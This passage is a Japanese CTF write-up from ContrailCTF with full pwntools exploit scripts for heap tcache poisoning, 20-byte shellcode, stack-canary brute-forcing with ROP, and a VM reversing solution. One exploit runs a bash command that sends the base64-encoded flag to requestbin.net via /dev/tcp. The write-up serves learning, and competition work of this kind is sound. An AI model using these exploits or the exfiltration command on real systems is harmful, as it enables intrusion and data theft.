_IO_stdfile_1_lock_addr - 0x1160 libc_base_addr = _IO_2_1_stdout_addr - _IO_2_1_stdout_ofs system_addr = libc_base_addr + system_ofs # systemを呼び出してシェル起動 poke_ball(0, "A" * 40 + p64(system_addr)) poke_ball(0, "/bin/sh") resp = p.recvuntil("4. Pokemons\n>") p.sendline("1") p.interactive()
カレントディレクトリにflagファイルが置いてあるので読み出してflagを取得。
$ ls bin dev flag lib lib32 lib64 pokebattle $ cat flag ctrctf{m394_1nd3x_m0nst3r}
[pwn] babyheap (356pts)
問題
You can solve it. author douro nc 114.177.250.4 2223
babyheap
(ELF 64bit)とlibc.so.6
が配布されます。
ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/babyheap$ checksec babyheap [*] '/media/sf_VMShare/CTF/ContrailCTF/babyheap/babyheap' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
解法
名前の通りheap問です。double-freeとuse-after-freeの脆弱性があり、glibc2.7なのでtcache-poisoningも刺さります。また、read_dataに境界外読み取りの脆弱性があり、任意のアドレスからデータを読み出すことができます。
write_dataを4回呼び出すとプログラムが終了するようになっており、限られた4回の中で如何に攻略するかというパズル的な要素がある問題です。
まず、1回目のwrite_dataの後、以下の手順でlibcのベースアドレスを割り出します
- mallocしたチャンクをdouble-freeし、tcacheを循環させる
1.
でfreeしたチャンクをread_dataで読み出し(use-after-free)、heapのアドレスを割り出す2.
のアドレスからバイナリが配置されているアドレスが分かるので、GOTのアドレスも割り出せる。read_dataでGOTからlibc関数のアドレスを読み出しlibcのベースアドレスを割り出す
後は残りの3回でtcache-poisoningを引き起こし、exit内でジャンプするアドレス(_rtld_global+3840
)をone-gadget rceのアドレスに書き換えます。実行すると4回目のwrite_data終了後にシェルが起動します。
# -*- encoding: utf-8 -*- from pwn import * LOCAL = sys.argv[1] == "local" if LOCAL: # patchelf --set-interpreter ~/libc-database/libs/libc6_2.27-3ubuntu1_amd64/ld-2.27.so --set-rpath $(pwd) ./babyheap p = process("./babyheap") else: p = connect("114.177.250.4", 2223) def write_data(size, data): resp = p.recvuntil("\n>") p.sendline("1") resp += p.recvuntil("size :") p.sendline(str(size)) resp += p.recvuntil("data :") p.sendline(data) return resp def read_data(index): resp = p.recvuntil("\n>") p.sendline("2") resp += p.recvuntil("index :") p.sendline(str(index)) resp += p.recvuntil("1. write data") return resp def parse_read_data(resp): return resp.split("index :")[1].split("1. write data")[0] def free_data(index): resp = p.recvuntil("\n>") p.sendline("3") resp += p.recvuntil("index :") p.sendline(str(index)) resp += p.recvuntil("1. write data") return resp free_got_ptr = 0x400560 # __DT_JMPREL free_got = 0x602018 libc_free_ofs = 0x97950 # $ readelf -s libc.so.6 | grep " free" libc_one_gadget_ofs = 0x4F322 # $ one_gadget libc.so.6 libc_jump_ofs = 0x619F68 # 0x7ffff7de974c: call QWORD PTR [rip+0x21480e] -> 0x7ffff7ffdf60 <_rtld_global+3840> if __name__ == "__main__": write_data(8, "DUMMY") # tcache -> null free_data(0) # tcache -> h0 free_data(0) # tcache -> h0 -> h0 -> h0 -> ... # tcacheを循環させ、chunkのアドレスをleak chunk_addr_bytes = parse_read_data(read_data(0)) if len(chunk_addr_bytes) < 8: chunk_addr_bytes += "\x00\x00\x00\x02\x00\x00\x00\x00"[len(chunk_addr_bytes) :] chunk_addr = u64(chunk_addr_bytes) - 0x2020 # GOTからfreeのアドレスをleak free_got_index = (free_got_ptr // 8) - (chunk_addr // 8) free_addr_bytes = parse_read_data(read_data(free_got_index))[:8] if len(free_addr_bytes) < 8: free_addr_bytes += "\x00" * (8 - len(free_addr_bytes)) free_addr = u64(free_addr_bytes) libc_base = free_addr - libc_free_ofs one_gadget_addr = libc_base + libc_one_gadget_ofs exit_jump_addr = libc_base + libc_jump_ofs # exit_jump_addr に one_gadget_addr を書き込み、exit内でone_gadgetを実行させる write_data(8, p64(exit_jump_addr)) # tcache -> h0 -> exit_jump_addr write_data(8, "DUMMY") # tcache -> exit_jump_addr write_data(8, p64(one_gadget_addr)) # tcache -> null p.interactive()
カレントディレクトリにflagファイルが置いてあるので読み出してflagを取得。
$ ls babyheap bin dev flag lib lib32 lib64 $ cat flag ctrctf{y0u_und3r5t00d_ab0ut_h34p}
今まで本番でheap問が解けたことがなかったのでかなり達成感がありました。
[pwn] EasyShellcode (100pts)
問題
Can you craft a shellcode? nc 114.177.250.4 2210 author Maru/douro
problem
(ELF 64bit)が配布されます。
ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/EasyShellcode$ checksec problem
[*] '/media/sf_VMShare/CTF/ContrailCTF/EasyShellcode/problem'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
解法
入力したデータをそのままシェルコードとして実行してくれるバイナリです。ただし、データの大きさが20bytesまでとなっており、どうにかして短くする必要があります。
rax
以外のレジスタは全て0が設定されています。これを利用し、mov
の代わりにlea
を使用して値をセットすることで若干短く書くことができます。試行錯誤して何とか20bytesちょうどの長さのシェルコードができました。
0: 48 8b 00 mov rax,QWORD PTR [rax] 3: 48 8d 78 0d lea rdi,[rax+0xd] 7: 48 8d 42 3b lea rax,[rdx+0x3b] b: 0f 05 syscall d: 2f 62 69 6e 2f 73 68 "/bin/sh"
実行するとシェルが起動します。
# -*- encoding: utf-8 -*- from pwn import * LOCAL = sys.argv[1] == "local" if LOCAL: p = process("./problem") else: p = connect("114.177.250.4", 2210) shellcode = "\x48\x8B\x00\x48\x8D\x78\x0D\x48\x8D\x42\x3B\x0F\x05/bin/sh" print("length: %d" % len(shellcode)) p.sendline(shellcode) p.interactive()
カレントディレクトリにflagがあるので読み出してflag取得。
$ ls bin dev flag lib lib32 lib64 problem $ cat flag ctrctf{Tw0_3t4g3_s311c0d3}
[pwn] instant_httpserver (304pts)
問題
I've wrote super minimal httpserver. author douro http://114.177.250.4:4445
instant_httpserver
(ELF 64bit)とlibc.so.6
が配布されます。
ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/instant_httpserver$ checksec instant_httpserver
[*] '/media/sf_VMShare/CTF/ContrailCTF/instant_httpserver/instant_httpserver'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
解法
HTTPサーバとして動作するバイナリです。HTTPリクエストをreadする処理にスタックバッファオーバーフローの脆弱性があります。しかし、スタック保護が有効になっているので単純にオーバーフローさせても制御を奪うことはできません。
このバイナリでは、接続ごとに親プロセスをforkするようになっているため、毎回canaryの値と、ASLR、PIEの配置が同じになります。これを利用して、バッファオーバーフローでcanaryの末尾やリターンアドレスの末尾の値を書き換えつつ、正解の値が見つかるまで線形探索することで1byteずつ値を特定することができます。
以下のスクリプトでcanaryの値とバイナリの配置アドレスを割り出すことができます。
# -*- encoding: utf-8 -*- from pwn import * from retrying import retry LOCAL = sys.argv[1] == "local" if LOCAL: get_p = lambda: connect("127.0.0.1", 4445) else: get_p = lambda: connect("114.177.250.4", 4445) canary_ofs = 520 canary = "" call_again_addr_ofs = 0x100DC5 call_again_addr_bytes = p64(call_again_addr_ofs)[:1] @retry(stop_max_attempt_number=10) def try_canary(c): p = get_p() padding = "A" * canary_ofs p.send(padding + canary + chr(c)) resp = p.recvall() is_smash_detected = "<br /><br /><hr><I>instant_httpserver" not in resp return not is_smash_detected @retry(stop_max_attempt_number=10) def try_binary_addr(c): p = get_p() payload = "A" * canary_ofs payload += canary payload += "B" * 8 payload += call_again_addr_bytes + chr(c) p.send(payload) resp = p.recvuntil("<html>Your Req Length is 520") p.sendline("DUMMY") resp += p.recvall() cnt = resp.count("<html>Your Req Length is") if cnt == 1: return False elif cnt == 2: return True else: raise if __name__ == "__main__": if canary == "": # canaryを1byteずつ特定 for i in range(8): for c in range(256): if try_canary(c): print("byte detected!") canary += chr(c) print(repr(canary)) break print("canary detected!") # binaryの配置アドレスを1byteずつ特定 while len(call_again_addr_bytes) < 8: for c in range(256): if try_binary_addr(c): print("byte detected!") call_again_addr_bytes += chr(c) print(repr(call_again_addr_bytes)) break binary_base = u64(call_again_addr_bytes) - call_again_addr_ofs print("binary base detected!") print("canary: %s" % repr(canary)) print("binary_base: %s" % repr(p64(binary_base)))
実行すると以下のような値がleakされました。
ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/instant_httpserver$ python canary_detector.py remote ... canary: '\x00\xab*\xe0\xacGM\xd2' binary_base: '\x00 \xff\x89\x15V\x00\x00'
後はこの値を用いてROPし、flagを読み出します。ただし、この問題の場合、直接標準入出力と繋がっているわけではないため、ROPでシェルを直接起動すると操作を受け付けなくなってしまいます。そのため、flagを読み出してrequestbinに送信するシェルコマンドをsystem関数に渡し、flagの値はrequestbinで受け取るようにしています。
# -*- encoding: utf-8 -*- from pwn import * from retrying import retry import time LOCAL = sys.argv[1] == "local" if LOCAL: get_p = lambda: connect("127.0.0.1", 4445) canary = 0xBE9E6691055FAC00 binary_base = 0x555555457000 else: get_p = lambda: connect("114.177.250.4", 4445) canary = u64("\x00\xab*\xe0\xacGM\xd2") binary_base = u64("\x00 \xff\x89\x15V\x00\x00") canary_ofs = 520 write_got_ofs = 0x301F58 write_plt_ofs = 0x1008C0 read_plt_ofs = 0x100920 pop_rdi_ofs = 0x100E93 # 0xe93 : pop rdi ; ret pop_rsi_r15_ofs = 0x100E91 # 0xe91 : pop rsi ; pop r15 ; ret libc_write_ofs = 0x110140 # $ readelf -s libc.so.6 | grep " write" libc_system_ofs = 0x4F440 # $ readelf -s libc.so.6 | grep " system" libc_writable_ofs = 0x302000 # cat /proc/xxx/maps libc_pop_rdx_ofs = 0x1B96 # 0x1b96 : pop rdx ; ret def leak_libc_base(): # GOTからwriteのアドレスをleak p = get_p() payload = "A" * canary_ofs payload += p64(canary) payload += "B" * 8 payload += p64(binary_base + pop_rdi_ofs) payload += p64(0x4) payload += p64(binary_base + pop_rsi_r15_ofs) payload += p64(binary_base + write_got_ofs) payload += p64(0x0) payload += p64(binary_base + write_plt_ofs) p.send(payload) resp = p.recvall() write_addr_bytes = resp.split("<html>Your Req Length is 520")[1][:8] write_addr = u64(write_addr_bytes) libc_base = write_addr - libc_write_ofs return libc_base def exec_shell_cmd(libc_base, system_cmd): system_addr = libc_base + libc_system_ofs p = get_p() # コマンド文字列を書込み可能な領域に書き込む payload = "A" * canary_ofs payload += p64(canary) payload += "B" * 8 payload += p64(binary_base + pop_rdi_ofs) payload += p64(0x4) payload += p64(binary_base + pop_rsi_r15_ofs) payload += p64(binary_base + libc_writable_ofs) payload += p64(0x0) payload += p64(libc_base + libc_pop_rdx_ofs) payload += p64(len(system_cmd)) payload += p64(binary_base + read_plt_ofs) # 書き込んだコマンド文字列のアドレスをsystemの引数として渡して実行 payload += p64(binary_base + pop_rdi_ofs) payload += p64(binary_base + libc_writable_ofs) payload += p64(binary_base + pop_rsi_r15_ofs) payload += p64(0x0) payload += p64(0x0) payload += p64(libc_base + libc_pop_rdx_ofs) payload += p64(0x0) payload += p64(libc_base + libc_system_ofs) p.send(payload) time.sleep(0.2) p.send(system_cmd) return p.recvall() if __name__ == "__main__": libc_base = leak_libc_base() time.sleep(0.5) # catでflagを読み取り、その内容をHTTPリクエストとして外部に送信するシェルコマンド cmd = "cat flag" request = ( "GET /r/1ike0ej1?'$(" + cmd + " | base64)' HTTP/1.1\n" "Host: requestbin.net\n\n" ) bash_cmd = "echo -e '" + request + "' > /dev/tcp/requestbin.net/80" system_cmd = 'bash -c "' + bash_cmd + '"\x00' exec_shell_cmd(libc_base, system_cmd)
実行すると、requestbinにbase64エンコードされた文字列が送られてきます。
デコードしてflagを取得。
ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/instant_httpserver$ echo -n 'Y3RyY3Rme2g0cHB5aDRwcHlyNG5kMG0xejN9Cg==' | base64 -d ctrctf{h4ppyh4ppyr4nd0m1z3}
[rev] MyInstructions (496pts)
問題
I was going to develop a flag validation program, but x86_64 programs are easily analyzed by IDA, Ghidra, and so on. So I defined new instruction set in the program and used it for flag validation. Can you still analyze this program and find the flag? https://www.dropbox.com/s/47gaurjmvsdrrr2/my_instructions?dl=0 author Ciruela
my_instructions
(ELF 64bit)が配布されます。
解法
残念ながら競技時間中に解けなかった問題です。
バイナリはVMとして動作するようになっています。標準入力から受け取った32bytesの文字列を4bytes毎に区切り、それぞれの値をレジスタ(r0〜r7)にセットして初期状態を決定します。
VM上で実行される命令列は固定されており、プログラム終了時のレジスタ(r0〜r7)の値が全て0になっていれば正しい入力値であると判定するものになっています。命令列をx86風に書き出してみると以下のようになります。
000: 11 '\x11\x08h4nd' mov r8,68346e64 006: 24 '$\x00\x08' xor r0,r8 009: 11 '\x11\t_m4d' mov r9,5f6d3464 00f: 24 '$\x01\t' xor r1,r9 012: 24 '$\t\t' xor r9,r9 015: 11 '\x11\n\xcc\xa0\x8c\xde' mov ra,cca08cde 01b: 30 '0\n' flip ra 01d: 24 '$\x02\n' xor r2,ra 020: 11 '\x11\x0b\x05D_W' mov rb,05445f57 026: 24 '$\x0b\x08' xor rb,r8 029: 24 '$\x03\x0b' xor r3,rb 02c: 11 '\x11\x08cont' mov r8,636f6e74 032: 10 '\x10\t\x04' mov r9,r4 035: 20 ' \x04\x08' and r4,r8 038: 22 '"\t\x08' or r9,r8 03b: 25 '%\x04CFLT' xor r4,43464c54 041: 25 '%\t\x7f\x7fo\x7f' xor r9,7f7f6f7f 047: 22 '"\x04\t' or r4,r9 04a: 11 '\x11\x08rail' mov r8,7261696c 050: 10 '\x10\t\x05' mov r9,r5 053: 30 '0\x05' flip r5 055: 20 ' \x05\x08' and r5,r8 058: 25 '%\tctf!' xor r9,63746621 05e: 22 '"\t\x08' or r9,r8 061: 25 '%\x05\x10@I\x08' xor r5,10404908 067: 25 '%\twe{n' xor r9,77657b6e 06d: 22 '"\x05\t' or r5,r9 070: 61 'a\x05\x00\x00\x00\x00' cmp r5,00000000 076: 47 'G\x82\x00\x00\x00' je 82000000 07b: 11 '\x11\x00\x01\x00\x00\x00' mov r0,01000000 081: ff '\xff' fin 082: 11 '\x11\x08\x1d\xfb\x03\x00' mov r8,1dfb0300 088: 11 '\x11\t\xd6\x03\x00\x00' mov r9,d6030000 08e: 52 'R\x06\x08' sub r6,r8 091: 53 'S\t\x01\x00\x00\x00' sub r9,01000000 097: 61 'a\t\x00\x00\x00\x00' cmp r9,00000000 09d: 49 'I\x8e\x00\x00\x00' je 8e000000 0a2: 25 '%\x06!"#$' xor r6,21222324 0a8: 11 '\x11\x081ov3' mov r8,316f7633 0ae: 10 '\x10\t\x08' mov r9,r8 0b1: 24 '$\n\n' xor ra,ra 0b4: 24 '$\x07\x08' xor r7,r8 0b7: 50 'P\x08\t' add r8,r9 0ba: 60 '`\x08\n' cmp r8,ra 0bd: 43 'C\xb4\x00\x00\x00' je b4000000 0c2: 11 '\x11\x08d\x00\x00\x00' mov r8,64000000 0c8: 11 '\x11\t\x00\x00\x00\x00' mov r9,00000000 0ce: 11 '\x11\n\x01\x00\x00\x00' mov ra,01000000 0d4: 11 '\x11\x0b\x03\x00\x00\x00' mov rb,03000000 0da: 11 '\x11\x0c\x05\x00\x00\x00' mov rc,05000000 0e0: 11 '\x11\r\x07\x00\x00\x00' mov rd,07000000 0e6: 52 'R\x0b\n' sub rb,ra 0e9: 52 'R\x0c\n' sub rc,ra 0ec: 52 'R\r\n' sub rd,ra 0ef: 60 '`\x0b\t' cmp rb,r9 0f2: 49 'I\x03\x01\x00\x00' je 03010000 0f7: 11 '\x11\x0b\x03\x00\x00\x00' mov rb,03000000 0fd: 51 'Q\x07V4\x12\x00' add r7,56341200 103: 60 '`\x0c\t' cmp rc,r9 106: 49 'I\x17\x01\x00\x00' je 17010000 10b: 11 '\x11\x0c\x05\x00\x00\x00' mov rc,05000000 111: 53 'S\x073"\x11\x00' sub r7,33221100 117: 60 '`\r\t' cmp rd,r9 11a: 49 'I+\x01\x00\x00' je 2b010000 11f: 11 '\x11\r\x07\x00\x00\x00' mov rd,07000000 125: 53 'S\x07!Ce\x00' sub r7,21436500 12b: 52 'R\x08\n' sub r8,ra 12e: 60 '`\x08\t' cmp r8,r9 131: 43 'C\xe6\x00\x00\x00' je e6000000 136: 25 '%\x07\xb8\xf5\x18x' xor r7,b8f51878 13c: 24 '$\x00\x01' xor r0,r1 13f: 24 '$\x00\x02' xor r0,r2 142: 24 '$\x00\x03' xor r0,r3 145: 24 '$\x00\x04' xor r0,r4 148: 24 '$\x00\x05' xor r0,r5 14b: 24 '$\x00\x06' xor r0,r6 14e: 24 '$\x00\x07' xor r0,r7 151: ff '\xff' fin
さらに、これをシミュレートするpythonスクリプトを書くと以下のようになります。
from pwn import * import sys r0 = r1 = r2 = r3 = r4 = r5 = r6 = r7 = r8 = r9 = ra = rb = rc = rd = 0 input_data = sys.argv[1] r0 = u32(input_data[0*0:1*4]) r1 = u32(input_data[1*4:2*4]) r2 = u32(input_data[2*4:3*4]) r3 = u32(input_data[3*4:4*4]) r4 = u32(input_data[4*4:5*4]) r5 = u32(input_data[5*4:6*4]) r6 = u32(input_data[6*4:7*4]) r7 = u32(input_data[7*4:8*4]) r8 = u32("h4nd") r0 ^= r8 r9 = u32("_m4d") r1 ^= r9 r9 ^= r9 ra = u32("\xcc\xa0\x8c\xde") ra ^= 0xFFFFFFFF r2 ^= ra rb = u32("\x05D_W") rb ^= r8 r3 ^= rb r8 = u32("cont") r9 = r4 r4 &= r8 r9 |= r8 r4 ^= u32("CFLT") r9 ^= u32("\x7f\x7fo\x7f") r4 |= r9 r8 = u32("rail") r9 = r5 r5 ^= 0xFFFFFFFF r5 &= r8 r9 ^= u32("ctf!") r9 |= r8 r5 ^= u32("\x10@I\x08") r9 ^= u32("we{n") r5 |= r9 r8 = u32("\x1d\xfb\x03\x00") r9 = u32("\xd6\x03\x00\x00") while r9 > 0: r6 -= r8 r9 -= u32("\x01\x00\x00\x00") r6 ^= u32('!"#$') r8 = u32("1ov3") r9 = r8 ra = 0 while r8 < 0x80000000: r7 ^= r8 r8 = (r8 + r9) & 0xFFFFFFFF r8 = 100 r9 = 0 ra = 1 rb = 3 rc = 5 rd = 7 while r8 != 0: rb -= 1 rc -= 1 rd -= 1 if rb == 0: rb = 3 r7 += u32("V4\x12\x00") if rc == 0: rc = 5 r7 -= u32('3"\x11\x00') if rd == 0: rd = 7 r7 -= u32("!Ce\x00") r8 -= 1 r7 ^= u32("\xb8\xf5\x18x") r0 ^= r1 r0 ^= r2 r0 ^= r3 r0 ^= r4 r0 ^= r5 r0 ^= r6 r0 ^= r7 assert r0 == 0
r0
, r1
はそのまま値をセットしているだけですが、後半のレジスタになるにつれてロジックが複雑になっていきます。特に難しいのは最後のr7
で、値を繰り返し加算していき、整数オーバーフローしたら終了する、といった割とややこしい条件分岐やループなどが出てきます。頑張って読み解くと、減算の値やXORの値が一意に定まることが分かります。それぞれのレジスタの条件を割り出してz3で解きます。
from z3 import * from pwn import * s = Solver() r = [BitVec('r%x' % i, 32) for i in range(8)] s.add(r[0x0] == u32('h4nd')) s.add(r[0x1] == u32('_m4d')) s.add(r[0x2] == (u32('\xcc\xa0\x8c\xde') ^ 0xffffffff)) s.add(r[0x3] == u32('\x05D_W') ^ u32('h4nd')) s.add([ r[0x4] & u32('cont') == u32('CFLT'), r[0x4] | u32('cont') == u32('\x7f\x7fo\x7f'), ]) s.add([ (r[0x5] ^ 0xffffffff) & u32('rail') == u32('\x10@I\x08'), (r[0x5] ^ u32('ctf!')) | u32('rail') == u32('we{n'), ]) s.add([ (r[0x6] - (u32('\x1d\xfb\x03\x00') * u32('\xd6\x03\x00\x00'))) == u32('!"#$'), ]) s.add([ ((r[0x7] ^ 0x559ab153) - 0x48798b4) == u32('\xb8\xf5\x18x') ]) if s.check() == sat: m = s.model() res = b'' for reg in r: v = m.evaluate(reg) try: res += p32(v.as_long()) except Exception as e: res += b'????' print(res)
実行すると全てのレジスタについて解が一意に求まります。
ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/MyInstructions$ python solve.py h4nd_m4d3_s!mp13_VM_f14g_ch3??:)
後は、my_instructions
を実行して正解の文字列を入力すればflagを取得することができます。
ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/MyInstructions$ ./my_instructions Input the inside string of ctrctf{} ->h4nd_m4d3_s!mp13_VM_f14g_ch3??:) Congratulations! You understood all of my instruction set! The flag is ctrctf{h4nd_m4d3_s!mp13_VM_f14g_ch3??:)}
競技時間中r7
の処理を読むのが中々にしんどく、r7
だけならブルートフォースできるのでは?と思いブルートフォースを始めてしまったのですが、残念ながら成果はありませんでした。
おわりに
正月休みの暇つぶしくらいの気持ちで始めたのですが、振り返ってみれば正月はContrailCTF以外何もやっていないという感じになっていました。どの問題も良問かつ本格的で大変楽しませていただきました。全体的にエスパー要素がなかったのがとても良かったです。
Contrailの皆さま、ありがとうございました。